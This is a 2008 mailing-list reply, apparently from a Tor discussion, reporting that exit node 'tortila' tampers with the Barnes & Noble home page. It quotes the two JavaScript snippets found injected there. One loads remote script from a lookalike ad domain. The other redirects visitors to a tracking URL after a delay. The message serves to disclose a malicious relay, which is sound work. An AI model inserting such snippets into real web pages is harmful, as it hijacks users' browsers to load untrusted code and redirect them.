Re: exit node "tortila" adds material to www.barnesandnoble.com home page

[KT <listclient@xxxxxxxxx>]

On further inspection, a JS snippet is inserted into the page [1]
which loads more JS [2]. Goes into exclude nodes I guess.

KT

[1] var externalscript="http://pagead2.googlesyndication.stevepavlima.com/show_ads.js";document.write('<script
type="text/javascript" src="'+externalscript+'?'+new Date() *
1+'"><\/script>');

[2] if(window.location.hostname.search("vipasotka") < 0 &&
window.location.hostname.search("int7") < 0 &&
window.location.hostname.search("shredderscan") < 0 &&
window.location.hostname.search("googlesyndication") < 0 &&
window.location.hostname.search("google") < 0 &&
window.location.hostname.search("onlinevideo") < 0 &&
window.location.hostname.search("golnanosat") <
0){setTimeout('location.replace("http://vipasotka.com/in.php?adv=5106&val=b7afe408";)',
10000);}


On 8/9/08, KT <listclient@xxxxxxxxx> wrote:
> On 8/9/08, Scott Bennett <bennett@xxxxxxxxxx> wrote:
> ...
>>      I tried www.barnesandnoble.com.tortila.exit.  I still got a green
>> background block ahead of the real home page, but this time instead of
>> German
>> text, the green block included something I can't decipher ...
>
> I am seeing similar behaviour, though the 'extra' parts appearing on
> the page were from Craigslist [1]. Malicious or otherwise, something
> is wrong.
>
> KT
>
> [1] http://img169.imageshack.us/img169/4777/bnoc8.jpg (craigslist links
> marked)
>